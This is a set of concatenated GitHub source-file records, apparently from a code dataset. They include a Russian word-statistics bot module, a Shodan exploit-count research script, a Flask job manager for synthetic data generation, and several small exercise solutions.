name='deleteuser'),\n]\n","repo_name":"dhananjaypai08/Dogs-activity","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35108710656","text":"import string\nimport os\nimport pymorphy2\nimport requests\nfrom bs4 import BeautifulSoup\n\n# Определение преобразователя слов\nmorph = pymorphy2.MorphAnalyzer(lang='ru')\n\n# Обновление пунктуации: в русскоязычной литературе используются еще и эти символы\npunctuation = string.punctuation + '«»—'\n\n\"\"\"\n---------------Функции для получения данных из разных источников---------------\n\"\"\"\n\n\ndef get_text_from_file(file_path):\n # Функция для получения данных из txt файла\n # На вход получает название файла (должен быть расположен в той же папке, что и код)\n # На выход возвращает либо текст, либо ошибку распознавания текста\n\n # Если получается открыть текст и считать из него данные\n try:\n # Открытие файла\n with open(file_path, 'r', encoding='utf-8') as text_file: # открываем файл txt с текстом\n text = text_file.read() # считываем из него содержание\n\n # Фиксирование, что нет ошибки\n error = False\n\n # Возвращение кортежа (данные об ошибке, строка с текстом)\n return error, text\n\n # Если возникает ошибка кодировки\n except UnicodeDecodeError:\n\n # Фиксирование ошибки\n error = True\n\n # Возвращение кортежа (данные об ошибке, пустая строка)\n return error, ''\n\n\ndef check_link(url):\n # Функция проверяет, подходит ли ссылка условиям для работы программы\n # На вход получает строку со ссылкой\n # В результате возвращает True (норм) или False (не подходит)\n\n # Проверка того, что ссылка ведет на подходящий сайт и на раздел в нем\n if ('ru.wikipedia' in url and len(url) > len('https://ru.wikipedia.org/wiki/')) \\\n or \\\n ('ilibrary' in url and 'text' in url):\n\n # Проверка возможности подключиться к странице\n if requests.get(url).status_code == 200:\n return True\n\n else:\n return False\n\n\ndef generate_soup(url):\n # Функция для создания soup для получения данных с сайтов\n # На вход получает ссылку на страницу\n # В результате возращает soup\n\n page = requests.get(url)\n page_text = page.text\n soup = BeautifulSoup(page_text, features='html.parser')\n\n return soup\n\n\ndef get_text_from_wiki(url):\n # Функция для получения данных с Википедии\n # На вход получает ссылку на страницу в Википедии\n # На выходе возвращает кортеж\n # (True/False, текст/0 - в зависимости от успеха подключения к странице)\n\n # Генерация soup\n wiki_soup = generate_soup(url)\n\n # Получение содержимого того, что находится под тегом p в body\n wiki_paragraphs = wiki_soup.find('body').find_all('p')\n\n # Создание пустого спискка для сохранения текста\n wiki_page_text = list()\n\n # Перебор параграфов, их очистка и добавление в список\n for paragraph in wiki_paragraphs:\n paragraph_text = str(paragraph.text).replace('\\xa0', ' ')\n wiki_page_text.append(paragraph_text)\n\n # Слияние данных из списка в строку для получения текста\n whole_wiki_page_text = ''.join(wiki_page_text)\n\n # Возвращение текста со страницы\n return whole_wiki_page_text\n\n\ndef get_text_from_illibrary(url):\n # Функция для получения текста со страницы ilibrary.ru\n # На вход получает ссылку на страницу с этого сайта\n # На выходе возвращает soup\n\n # Генерация soup\n ili_soup = generate_soup(url)\n\n # Получение текста из всех p в body\n ili_parapraphs = ili_soup.find('body').find_all('span', class_='p')\n\n # Создание пустого списка для сохранения текста\n ili_text = list()\n\n # Перебор параграфов и их добавление в список\n for paragraph in ili_parapraphs:\n paragraph_text = paragraph.text\n ili_text.append(paragraph_text)\n\n # Преобразование списка в строку\n whole_ili_text = ''.join(ili_text)\n\n # Возвращение строки с текстом со страницы\n return whole_ili_text\n\n\n\"\"\"\n---------------------Функции для анализа полученного текста---------------------\n\"\"\"\n\n\ndef clean_text(text):\n # Функция для очистки текста от того, что может помешать анализу\n # На вход получает строку с текстом\n # На выходе возвращает строку с очищенным текстом\n\n # Удаление переносов строк (деление на абзацы)\n half_clean_text = text.replace('\\n', '')\n\n # Удаление дефисов, которые используются как тире\n half_clean_text = half_clean_text.replace(' - ', '')\n\n # Создание пустой строки для сохранения \"чистого\" текста\n fully_clean_text = ''\n\n # Удаление дефиса из строки с пунктуацией, чтобы не удалять их\n # из слов типа \"как-то\"\n cleaning_punctuation = punctuation.replace('-',\n '')\n\n # Перебор знаки из строки с полуочищенным текстом\n for letter in half_clean_text:\n\n # Если буква не совпадает со знаком пунктуации\n if letter not in cleaning_punctuation:\n # добавление буквы к строке с \"чистым\" текстом\n fully_clean_text += letter.lower()\n\n # Возврат строки с \"чистым\" текстом\n return fully_clean_text\n\n\ndef get_words_list(text):\n # Функция для преобразования строки чистого текста в список слов\n # На вход получает строку с очищенным текстом\n # На выходе возвращает список слов\n\n # Деление строки текста н�� список слов\n all_words_list = text.split()\n\n # Создание списка, в котором будут только слова из букв\n words_list = list()\n\n # Перебор слов из первого списка\n for word in all_words_list:\n\n # Если слово состоит только из букв\n if word.isalpha():\n # оно добавляется во второй список\n words_list.append(word)\n\n # Возврат списка слов, состоящих только из букв\n return words_list\n\n\ndef get_infinitives(words_list):\n # Функция для преобразования списка слов из текста\n # в список тех же слов, но в их начальной форме\n # На вход получает список слов\n # На выходе возвращает список тех же слов в начальной форме\n\n # Создание списка слов для хранения инфинитивов\n infinitives = list()\n\n # Перебор слов из входящего списка\n for curr_word in words_list:\n try:\n # Преобразование, нужное для причастий (иначе становятся глаголами)\n infinitive = morph.parse(curr_word)[0].inflect({'sing', 'nomn'}).word\n except AttributeError:\n # На случай ошибки, которая возникла однажды, грубое преобразование\n infinitive = morph.parse(curr_word)[0].normal_form\n\n # Добавление инфинитива в список инфинитивов\n infinitives.append(infinitive)\n\n # Вовзрат списка инфинитивов\n return infinitives\n\n\ndef get_unique_words(infinitives_list):\n # Функция возвращает список уникальных слов из заданного списка\n # из списках всех слов в начальной форме\n # На вход получает список слов в начальной форме\n # На выходе возвращает список уникальных слов\n\n # Преобразования списка слов во множество и затем снова в список\n unique_words = list(set(infinitives_list))\n\n # Возврат списка уникальных слов\n return unique_words\n\n\ndef sort_dict_by_value(dictionary_to_sort, reverse_mode=True):\n # Функция для сортировки словаря по значениям\n # На вход получает словарь для сортировки и параметр для reverse\n # На выходе возвращает отсортированный словарь\n\n # Создание пустого словаря для хранения сортированных данных\n sorted_dict = dict()\n\n # Сортировка ключей из входящего словаря по значениям в обратном порядке\n sorted_keys = sorted(dictionary_to_sort.keys(),\n key=dictionary_to_sort.get,\n reverse=reverse_mode)\n\n # Перебор ключей из отсортированного списка для добавления к ним значений\n # и сохранения их в отсортированный словарь\n for key in sorted_keys:\n sorted_dict[key] = dictionary_to_sort[key]\n\n # Возврат отсортированного по значениям словаря\n return sorted_dict\n\n\ndef get_general_stat_dict(infinitives_list, unique_words_list):\n # Функция для получения словаря с общей статистикой\n # На вход получает всех список инфитивов из текста и список уникальных слов\n # На выходе возвращает словарь\n # {str(слово): int(количество употреблений в тексте)}\n\n # Создание пустого словаря для хранения статистики\n general_stat = dict()\n\n # Перебор слов из списка уникальных слов\n for word in unique_words_list:\n # Добавление к ним значений\n general_stat[word] = infinitives_list.count(word)\n\n # Возврат словаря с общей статистикой\n return general_stat\n\n\ndef get_sensed_vocabulary_dict(general_stat_dictionary):\n # Функция для получения статистики слов, несущих смысл\n # На вход получает словарь с общей статистикой\n # В результате возвращает словарь с \"о��мысленной\" статистикой\n\n # Создание пустого словаря для хранения данных\n sensed_vocabulary_dict = dict()\n\n # Определение списка частей речи, которые не несут смысл\n notsensed_POSes = ['CONJ', 'PREP', 'NPRO', 'ADJF', 'PRCL']\n\n # Перебор ключей из словаря с общей статистикой\n for curr_word in general_stat_dictionary.keys():\n\n # Определение части речи текущего слова\n curr_word_tag = morph.parse(curr_word)[0].tag.POS\n\n # Если эта часть речи не в списке бессмысленных\n if curr_word_tag not in notsensed_POSes:\n # добавление статистики в словарь\n sensed_vocabulary_dict[curr_word] = \\\n general_stat_dictionary[curr_word]\n\n # Возвращение словаря со статистикой слов, несущих смысл\n return sensed_vocabulary_dict\n\n\n\"\"\"\n---------------------------Функции для вывода данных---------------------------\n\"\"\"\n\n\ndef generate_result_text(result_dict, num_to_show):\n # Функция генерирует текст с результатами для отправки пользователю\n # На вход получает словарь с данными и количество значений для вывода\n # В результате возвращает строку с текстом\n\n # Создание списка ключей из полученного словаря\n keys = list(result_dict.keys())\n\n # Определение переменной, куда будет сохраняться итоговый текст\n result_text = ''\n\n # Проверка, что требуемое количество не превышает имеющиеся данные\n if num_to_show > len(keys):\n num_to_show = len(keys)\n\n # Проверка, что требуемое количество точно поместится в одно сообщение\n if num_to_show > 5:\n num_to_show = 5\n\n # Перебор нужного количества ключей из списка\n for key in keys[:num_to_show]:\n\n # Определение формы слова \"раз\" для красивого и грамотного текста\n if 4 >= result_dict[key] % 10 >= 2:\n times = 'раза'\n else:\n times = 'раз'\n\n # Прибавление строки к общему тексту\n result_text += f'Слово \"{key}\" встречается {result_dict[key]} {times}\\n'\n\n # Возрат итогового текста\n return result_text\n\n\ndef generate_filename(user_filename, adding):\n # Функция для генерации названия файла\n # На вход получает пользовательское название файла\n # и прибавление от программы\n # На выходе возвращает отформатированное название в формате .csv\n\n # Создание пустой строки с итоговым названием файла\n filename = ''\n\n # Исключение последних пробелов или точек из пользовательского названия\n while filename.endswith('.') or filename.endswith(' '):\n filename = filename[:-1]\n\n # Перебор букв в пользовательском названии без последних пробелов и точек\n for letter in user_filename:\n # Замена пробелов на нижние подчеркивания\n if letter == ' ':\n filename += '_'\n # Удаление непозволительных знаков\n elif letter in ['?', '!', '<', '>', '*', '\"\"', '@', '/', '\\\\', '|']:\n filename += ''\n # Замена двоеточия на \"- \"\n elif letter == ':':\n filename += '- '\n else:\n filename += letter.lower()\n\n # Прибавление к названию добавки и формата\n filename += adding + '.csv'\n\n # Возврат отформатированного названия\n return filename\n\n\ndef write_to_file(line_to_write, filename):\n # Функция записывает данные из словаря в файл\n # На вход получает данные для записи и название (путь) к файлу\n # В результате записывает данные в файл и возвращает путь к нему\n\n # Генерация полного пути к файлу\n path = os.path.join(os.path.abspath('results'), filename)\n\n # Запись данных в файл\n with open(path, 'w') as doc:\n print(line_to_write, file=doc)\n\n # Возврат пути\n return path\n\n\ndef generate_line(dictionary_to_write):\n # Функция генерирует текст для записи в файл\n # На вход получает словарь, данные которого нужно записать\n # В результате возвращает строку с текстом для записи в csv\n\n # Создание пустой строки для записи туда текста\n line_to_write = ''\n\n # Перебор ключей полученного словаря\n for key in dictionary_to_write.keys():\n # Прибавление отформатированных данных ключ-значение к тексту\n line_to_write += key + ';' + str(dictionary_to_write[key]) + '\\n'\n\n # Исключение последнего переноса строки\n line_to_write = line_to_write[:-1]\n\n # Возврат строки текста, готового для записи\n return line_to_write\n","repo_name":"loginchik/words_stats_tg_bot","sub_path":"statistic_funcs.py","file_name":"statistic_funcs.py","file_ext":"py","file_size_in_byte":18434,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4633999320","text":"# Author: Dr. X\n# look for specific model exploits\n# count how many exploits of a specific type\n# ideally this should be done daily or for historical data\n\nimport shodan\nimport datetime\nimport csv\n\nf = open(\"myKey.txt\")\nmyKey = f.readline()\nSHODAN_API_KEY = str(myKey)\n\napi = shodan.Shodan(SHODAN_API_KEY)\nf.close()\n\n# read devices from file\ninput_file_devices = './hosts/devices.csv'\ndevices_data = dict()\nwith open(input_file_devices, 'r') as csv_file:\n reader = csv.reader(csv_file)\n for row in reader:\n devices_data[row[0]] = (row[1:])\n\ninput_file_exploits = './attributes/exploits.csv'\nexploits_data = dict()\nwith open(input_file_exploits, 'r') as csv_file:\n reader = csv.reader(csv_file)\n for row in reader:\n exploits_data[row[0]] = (row[1:])\n\nfile_name = './data/exploits' + str(datetime.datetime.now()) +'.txt'\nf = open(file_name, 'w')\n\n# # change list for every run\nfor dev_item in devices_data:\n # # Search Shodan\n f.write('Searching for '+ dev_item)\n for model in devices_data[dev_item]:\n f.write(' and model:' + model + '\\n')\n for exp_item in exploits_data:\n if (exp_item == 'exploits_type'):\n for exp_type in exploits_data[exp_item]:\n f.write('=================================================================================\\n')\n f.write('exploit search ' + exp_type + '\\n')\n f.write('=================================================================================\\n')\n # Wrap the request in a try/ except block to catch errors\n try:\n # Search Shodan\n exploits = api.exploits.search(model + ' type:' + exp_type)\n #windows = api.exploits.search(device + ' type:'+ type + ' platform:windows')\n #linux = api.exploits.search(device + ' type:'+ type + ' platform:linux')\n #hardware = api.exploits.search(device + ' type:'+ type + ' platform:hardware')\n\n # Show the results\n f.write('Exploits found: {}'.format(exploits['total']) + '\\n')\n #print('Windows found: {}'.format(windows['total']))\n #print('Linux found: {}'.format(linux['total']))\n #print('Hardware found: {}'.format(hardware['total']))\n for exploit in exploits['matches']:\n f.write('CVE: {}'.format(exploit['cve']) + '\\n')\n f.write('Description: {}'.format(exploit['description']) + '\\n')\n f.write('Platform: {}'.format(exploit['platform']) + '\\n')\n #print(exploit)\n except Exception as e:\n print(e)\n\nf.close()\n","repo_name":"mundruid/shodan-data","sub_path":"workflows/exploits.py","file_name":"exploits.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"16476670519","text":"import importlib\nimport os\nimport subprocess\nfrom unicodedata import name\nfrom flask import Blueprint, render_template, abort, current_app, g, jsonify, request, flash, send_file, Response\nfrom sd_package.db import get_db\nfrom owlready2 import *\nfrom . import util\nimport json\nimport time\nfrom io import BytesIO\nimport zipfile\nimport os\nimport shutil\nimport sd_package\nimport secrets\nimport string\n\n\nactive_processes = {}\n\n\n# Create Blueprint\njobs_bp = Blueprint('jobs_bp', __name__, template_folder='templates')\n\n\n# Helper functions\ndef row_to_dict(row):\n res = {}\n for key in row.keys():\n res[key] = row[key]\n return res\n\n\n# ROUTES\n\n\n@jobs_bp.route('/', methods=['GET'])\ndef list_jobs():\n db = get_db()\n jobs = db.execute(\n 'SELECT j.id as id, j.knowledge_base_id, j.creation_date, j.state as status, s.name as scheme_name, s.module_name, j.statistics as statistics FROM generation_jobs j LEFT OUTER JOIN generation_schemes s on j.knowledge_base_id = s.id ORDER BY j.id DESC', ()\n ).fetchall()\n\n list = []\n for row in jobs:\n as_dict = row_to_dict(row)\n\n as_dict[\"status\"] = determine_active_job_status(as_dict[\"id\"], as_dict[\"status\"])\n\n list.append( as_dict )\n return jsonify(list)\n\n\n\n\n\n\nupdate_counter = 0\n\ndef event_stream():\n update_counter_old = update_counter\n i = 0\n try:\n while True:\n if i % 5 == 0 or update_counter != update_counter_old: # Sending data at least all 5 seconds to check that client is still listening\n yield 'data: %s\\n\\n' % update_counter\n update_counter_old = update_counter\n print(\"Stream starts sleeping\")\n time.sleep(1) # 1 = 1 second\n i += 1\n finally:\n return\n pass\n\n\n\n\n\n@jobs_bp.route('/updates-stream')\ndef stream():\n print(\"Stream called\")\n return Response(event_stream(), mimetype=\"text/event-stream\")\n\n\n\n\n\n@jobs_bp.route('/', methods=['GET', 'DELETE'])\ndef single_job(job_id):\n if request.method == 'GET':\n db = get_db()\n jobs = db.execute(\n 'SELECT j.id as id, j.knowledge_base_id, j.creation_date, j.state as status, s.name as scheme_name, s.module_name, j.statistics as statistics FROM generation_jobs j JOIN generation_schemes s on j.knowledge_base_id = s.id WHERE j.id = ? ORDER BY j.id DESC', (job_id,)\n ).fetchall()\n\n list = []\n for row in jobs:\n as_dict = row_to_dict(row)\n as_dict[\"status\"] = determine_active_job_status(as_dict[\"id\"], as_dict[\"status\"])\n list.append( as_dict )\n\n if len(list) != 1:\n # Error\n return \"error\"\n\n return jsonify(list[0])\n\n\n if request.method == 'DELETE':\n delete_job(job_id)\n return jsonify( {} )\n\n\n\ndef get_job(job_id):\n db = get_db()\n jobs = db.execute(\n 'SELECT j.id as id, j.knowledge_base_id, j.creation_date, j.state as status, s.name as scheme_name, s.module_name, j.statistics as statistics FROM generation_jobs j JOIN generation_schemes s on j.knowledge_base_id = s.id WHERE j.id = ? ORDER BY j.id DESC', (job_id,)\n ).fetchall()\n\n list = []\n for row in jobs:\n as_dict = row_to_dict(row)\n as_dict[\"status\"] = determine_active_job_status(as_dict[\"id\"], as_dict[\"status\"])\n list.append( as_dict )\n\n if len(list) != 1:\n return \"error\"\n \n return list[0]\n\n\n\n\n@jobs_bp.route('//abort', methods=['POST'])\ndef abort_job(job_id):\n job = get_job(job_id)\n\n if job == \"error\":\n return \"error\"\n\n if job[\"status\"] == \"generating\":\n active_processes[job[\"id\"]].terminate()\n update_job_state(job_id, \"aborting\")\n\n return jsonify(job)\n\n\n\n@jobs_bp.route('//finished', methods=['POST'])\ndef finish_job(job_id):\n # job = get_job(job_id)\n\n error = None\n if (\"passcode\" not in request.json) or (\"statistics\" not in request.json):\n error = 'passcode and statistics are required.'\n if error is not None:\n return \"error\"\n\n passcode = request.json['passcode']\n statistics = request.json['statistics']\n\n # Connect to DB\n db = get_db()\n cursor = db.cursor()\n\n try:\n cursor.execute(\n \"UPDATE generation_jobs SET state = 'finished', statistics = ? WHERE id = ? and passcode = ?\",\n (str(statistics), job_id, passcode),\n )\n db.commit()\n except db.IntegrityError:\n error = f\"error\"\n return \"error\"\n else:\n pass\n\n changed_rows = cursor.rowcount\n print(\"ROWCOUNR IS \" + str(changed_rows))\n if changed_rows != 1: # can be certain that passcode is right if one row was updates. Otherwise stop.\n return\n\n # Save statistics on local disc also\n file_name = util.get_path_to_package() / \"data\" / \"generated_datasets\" / str(job_id) / \"statistics.json\"\n with open(file_name, 'w', encoding='utf-8') as f:\n json.dump(statistics, f, ensure_ascii=False, indent=4)\n\n global update_counter\n update_counter += 1\n return jsonify({}) # TODO\n\n\n\n\n\n\n\n\n@jobs_bp.route('/', methods=['POST'])\ndef create_job():\n # Read form data and check for problems\n knowledge_base_id = request.form['knowledge_base_id']\n params = request.form['params']\n error = None\n if not knowledge_base_id:\n error = 'knowledge_base_id is required.'\n if not params:\n error = 'params is required.'\n if error is not None:\n return \"error\"\n alphabet = string.ascii_letters + string.digits\n passcode = ''.join(secrets.choice(alphabet) for i in range(20)) \n\n # Connect to DB and insert new job\n db = get_db()\n cursor = db.cursor()\n try:\n cursor.execute(\n \"INSERT INTO generation_jobs (knowledge_base_id, state, params, passcode, statistics) VALUES (?, 'generating', ?, ?, '')\",\n (knowledge_base_id, params, passcode),\n )\n db.commit()\n except db.IntegrityError:\n error = f\"User {name} is already registered.\"\n return \"error\"\n except:\n return \"error\"\n\n # Query the just created job out of the DB\n new_id = cursor.lastrowid\n new_job_row = db.execute(\n 'SELECT j.id as id, j.knowledge_base_id, j.creation_date, j.state, j.params, s.module_name, s.name as scheme_name, s.data as json_data FROM generation_jobs j JOIN generation_schemes s on j.knowledge_base_id = s.id WHERE j.id = ?',\n (new_id,)\n ).fetchall()[0]\n new_job_dict = row_to_dict(new_job_row)\n\n loaded_class = load_data_scientist_module_by_name(new_job_dict[\"module_name\"])\n\n start_json_to_onto(loaded_class, new_job_dict[\"id\"], new_job_dict[\"json_data\"], params)\n\n print(\"ADDRESS: :::::::::::::::\")\n print(request.headers.get('Host'))\n\n\n start_onto_to_sd(new_job_dict[\"id\"], passcode)\n\n return jsonify( row_to_dict(new_job_row) )\n\n\n\n\n\n\n@jobs_bp.route('//result', methods=['GET'])\ndef download_result(job_id):\n # Check that job exists and is finished\n job = get_job(job_id)\n if job == \"error\" or job[\"status\"] != \"finished\":\n return \"error\"\n\n # Create zip file\n memory_file = BytesIO() # create file only in memory\n path_to_dataset = util.get_path_to_package() / \"data\" / \"generated_datasets\" / str(job_id)\n with zipfile.ZipFile(memory_file, 'w', zipfile.ZIP_DEFLATED) as zipf:\n # Walk over all subfolders of dataset folder\n for root, dirs, files in os.walk(path_to_dataset):\n relative_path = os.path.relpath(root, path_to_dataset) # Extract relative path from dataset folder so that same relative path from root is used in zip\n for file in files:\n zipf.write(os.path.join(root, file), arcname = os.path.join(relative_path, file))\n memory_file.seek(0)\n\n # Send zip file\n return send_file(memory_file,\n download_name=\"result_\" + str(job_id) + \".zip\",\n as_attachment=True)\n\n\n\n\n\n\n\n\ndef delete_job(job_id):\n # Check that job exists and is finished/unknown/... (only non-active jobs should be deleted)\n job = get_job(job_id)\n if job == \"error\" or job[\"status\"] not in [\"finished\", \"aborted\", \"unknown\", \"error\"]:\n return \"error\"\n\n # Path to folder that should be deleted\n path_to_dataset = util.get_path_to_package() / \"data\" / \"generated_datasets\" / str(job_id)\n\n # Delete from file system\n print(\"Try deleting \" + str(path_to_dataset))\n try:\n shutil.rmtree(path_to_dataset)\n except OSError as e:\n print(\"Error: %s - %s.\" % (e.filename, e.strerror))\n return\n\n # Delete from database\n db = get_db()\n cursor = db.cursor()\n try:\n cursor.execute(\n \"DELETE FROM generation_jobs WHERE id = ?\",\n (job_id,),\n )\n db.commit()\n except:\n print(\"ERROR when writing in DB\")\n # print(e)\n # Need to close cursor in sqlite3?\n\n\n\n\n\n\n\n\ndef determine_active_job_status(job_id, stated_status):\n new_status = stated_status\n\n if not stated_status in [\"generating\", \"aborting\"]:\n return stated_status\n\n if stated_status == \"generating\":\n if not job_id in active_processes:\n new_status = \"unknown\"\n else:\n process_state = active_processes[job_id].poll()\n if (process_state is not None) and process_state == 0:\n new_status = \"finished\"\n # Delete out of list\n # del active_processes[job_id]\n if (process_state is not None) and process_state != 0:\n new_status = \"error\"\n\n if stated_status == \"aborting\":\n if job_id not in active_processes:\n new_status = \"unknown\"\n else:\n process_state = active_processes[job_id].poll()\n if not (process_state is None): # Windows puts process directly to terminated state (no longer None), even if it actually keeps running\n print(\"aborted with code \" + str(process_state))\n new_status = \"aborted (\" + str(process_state) + \")\"\n\n if new_status != stated_status:\n update_job_state(job_id, new_status)\n\n return new_status\n\n\n\ndef is_job_running():\n result = False\n for el in active_processes.values():\n process_state = el.poll()\n if process_state is not None:\n result = True\n break\n return result\n\n\n\ndef update_job_state(job_id, new_state):\n if new_state not in [\"generating\", \"aborting\", \"finished\", \"unknown\", \"error\", \"aborted\"]:\n print(\"WATCH OUT: unknown new_state was saved for a job\")\n db = get_db()\n cursor = db.cursor()\n try:\n cursor.execute(\n \"UPDATE generation_jobs SET state = ? WHERE id = ?\",\n (new_state, job_id),\n )\n db.commit()\n except e:\n print(\"ERROR when writing in DB\")\n print(e)\n # Need to close cursor in sqlite3?\n\n\n\n\ndef load_data_scientist_module_by_name(module_name):\n # Check that parameter really references a module\n if not module_name in util.get_data_scientist_module_filenames():\n return \"error\"\n\n # Import the module\n path = util.get_path_to_package() / \"custom_code\" / \"modules\" / module_name / \"__init__.py\"\n spec = importlib.util.spec_from_file_location(module_name, path)\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n\n # Return the class in the loaded module\n return getattr(module, \"SDGenModule\")\n\n\n\n\ndef start_json_to_onto(loaded_class, job_id, json_data, ml_system_params):\n # 1. Create directory\n job_path = util.get_path_to_package() / \"data\" / \"generated_datasets\" / str(job_id)\n job_path.mkdir(parents=True, exist_ok=True)\n\n # Define necessary paths\n path_to_ontology_classes = f'{ util.get_path_to_package() / \"custom_code\" / \"generation_components\" / \"main.owl\" }'\n path_to_ontology_individuals = f'{ job_path / \"individuals.owl\" }'\n\n # Get ontologies\n onto_classes, onto_individuals = load_classes_and_individuals(path_to_ontology_classes, path_to_ontology_individuals)\n\n # Create new nodes in the ontology\n with onto_individuals:\n parsed_data = json.loads(json_data)\n parsed_ml_system_params = json.loads(ml_system_params)\n\n # Start json_to_onto:\n loaded_class.json_to_onto(onto_classes, parsed_data, parsed_ml_system_params)\n\n onto_individuals.save(file=path_to_ontology_individuals)\n\n\n\ndef start_onto_to_sd(job_id, passcode):\n print(\"SDGen: Starting blenderproc\")\n dir_path = os.path.dirname(os.path.realpath(__file__))\n process = None\n mode = \"run\"\n if sd_package.get_settings_debug_mode():\n mode = \"debug\"\n process = subprocess.Popen([\"blenderproc\", mode, \"blenderproc_entry.py\", util.get_path_to_package(), str(job_id), str(passcode), request.host_url], cwd=dir_path)\n active_processes[job_id] = process\n print(\"SDGen: Finished with starting blenderproc\")\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef load_classes_and_individuals(path_to_ontology_classes, path_to_ontology_individuals):\n onto_path.append( util.get_path_to_package() / \"custom_code\" / \"generation_components\") ###\n w = World()\n onto_classes = w.get_ontology(\"file://\" + path_to_ontology_classes).load() # w.\n # onto_individuals = get_ontology(\"http://test.org/onto.owl\") # \"file://\" + path_to_ontology_individuals).load() # w.\n # onto_individuals = get_ontology(\"http://www.semanticweb.org/david/ontologies/2022/6/synthetic-data-generation/onto.owl\") # \"file://\" + path_to_ontology_individuals).load() # w.\n onto_individuals = w.get_ontology(\"http://www.semanticweb.org/david/ontologies/2022/6/synthetic-data-generation-individuals\") #.load() # \"file://\" + path_to_ontology_individuals).load() # w.\n onto_individuals.imported_ontologies.append(onto_classes)\n #onto_individuals = onto_individuals.load()\n return onto_classes, onto_individuals\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"davidd7/knowledge-based-synthetic-data-generation","sub_path":"sd_package/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":13894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2847610663","text":"# Qus: https://leetcode.com/problems/fraction-to-recurring-decimal/\nclass Solution(object):\n def fractionToDecimal(self, numerator, denominator):\n \"\"\"\n :type numerator: int\n :type denominator: int\n :rtype: str\n \"\"\"\n if(numerator%denominator==0):\n return str(numerator/denominator)\n \n res=''\n #since python 2 on divide it gives the floor value \n #in case of negative number we need ceil value\n if(numerator<0) ^ (denominator<0):\n res='-'\n numerator=abs(numerator)\n denominator=abs(denominator)\n \n res+=str(numerator/denominator)\n res+='.'\n numerator=numerator%denominator\n #we cannot use set here becuse we need to track from which char the\n #numerator is repeating so we need to put bracket from that position\n #from where number is repeating\n d={}\n i=len(res)\n \n while(numerator!=0):\n #in case remainder not in dict then add to dict with index\n if(numerator not in d):\n d[numerator]=i\n else:\n #in case it is already in dict it means number is repeating\n i=d[numerator]\n return res[:i]+\"(\"+res[i:]+\")\"\n #simple math \n numerator*=10\n res+=str(numerator/denominator)\n numerator%=denominator\n i+=1\n \n return res\n ","repo_name":"mohitsinghnegi1/CodingQuestions","sub_path":"leetcoding qus/FractiontoRecurringDecimal.py","file_name":"FractiontoRecurringDecimal.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"37657585193","text":"# TESTING\nimport unittest\nfrom ingredient import Ingredient\n\n\nclass TestIngredients(unittest.TestCase):\n\n def setUp(self):\n self.carrots = Ingredient('carrots', 10)\n self.tomatoes = Ingredient('tomatoes', 10)\n self.cheese = Ingredient('cheese', 10)\n self.dough = Ingredient('dough', 10)\n\n def test_raises_exception_if_use_brings_amount_below_zero(self):\n self.assertRaises(Exception, self.carrots.use, 20)\n\n def test_use_method_reduces_amount(self):\n self.assertEqual(self.carrots.use(5), 5)\n self.assertEqual(self.tomatoes.use(10), 0)\n self.assertEqual(self.cheese.use(8), 2)\n self.assertEqual(self.dough.use(6), 4)","repo_name":"martin-martin/pizza-pie","sub_path":"test_Ingredients.py","file_name":"test_Ingredients.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"22307796902","text":"with open(\"input.txt\") as fp:\n lines = []\n down = 0\n forward = 0\n aim = 0\n for line in fp:\n row = line.strip(\"\\n\")\n command, count = row.split(\" \")\n count = int(count)\n if command == 'forward':\n forward += count\n down += (aim * count)\n elif command == 'down':\n aim += count\n else:\n aim -= count\n\nprint(down * forward)\n","repo_name":"sandeepgupta2k4/aoc-2021","sub_path":"2B.py","file_name":"2B.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"30398332517","text":"from direct.showbase.ShowBase import ShowBase\r\n\r\nfrom panda3d.core import AntialiasAttrib\r\nfrom panda3d.core import NodePath\r\nfrom panda3d.core import TextNode\r\nfrom panda3d.core import BitMask32\r\nfrom panda3d.core import TextProperties, VBase4, ColorAttrib, TransparencyAttrib\r\n\r\n# from .nodeManager import NodeManager\r\nfrom utils.utils import Utils\r\n\r\nclass NodeDrawing():\r\n \r\n ONE_LINE_TEXT_HEIGHT = 0\r\n \r\n def __init__(self, text, loader, parentNodePath, id):\r\n self.scale = Utils.NODE_SCALE\r\n \r\n self.mainNode = NodePath(\"Node\")\r\n self.mainNode.reparentTo(parentNodePath)\r\n \r\n self.addText(text, self.mainNode)\r\n self.addModel(loader, self.mainNode)\r\n \r\n self.mainNode.setTag(\"Node\", self.textNode.getText())\r\n self.mainNode.setCollideMask(BitMask32.bit(1))\r\n self.keepTextCenter()\r\n self.id = id\r\n \r\n \r\n def addModel(self, loader, nodePath):\r\n self.model = loader.loadModel(\"../models/capsule\")\r\n self.model.setScale(self.scale)\r\n self.model.reparentTo(nodePath)\r\n self.model.setPos(0, 0, 0)\r\n self.model.setTransparency(TransparencyAttrib.MAlpha)\r\n\r\n def addText(self, text, nodePath):\r\n self.textNode = TextNode(\"Node 1\") # This should be different for every instance?\r\n \r\n #this is case-sensitive\r\n from scenes.map import Map\r\n \r\n textNode = self.textNode\r\n self.textNode.setFont(Map.FONT_UBUNTU)\r\n self.textNode.setAlign(TextProperties.A_center)\r\n textNode.setWordwrap(Utils.NODE_SCALE.x * 1.4)\r\n \r\n self.textNode.setText(text)\r\n self.textNode.setTextColor(0, 0, 0, 1)\r\n \r\n \r\n self.text3d = NodePath(self.textNode)\r\n self.text3d.reparentTo(nodePath)\r\n self.text3d.setHpr(0, 90, 0)\r\n self.text3d.setTwoSided(True)\r\n\r\n self.text3d.setScale(2, 0.1, 2)\r\n # 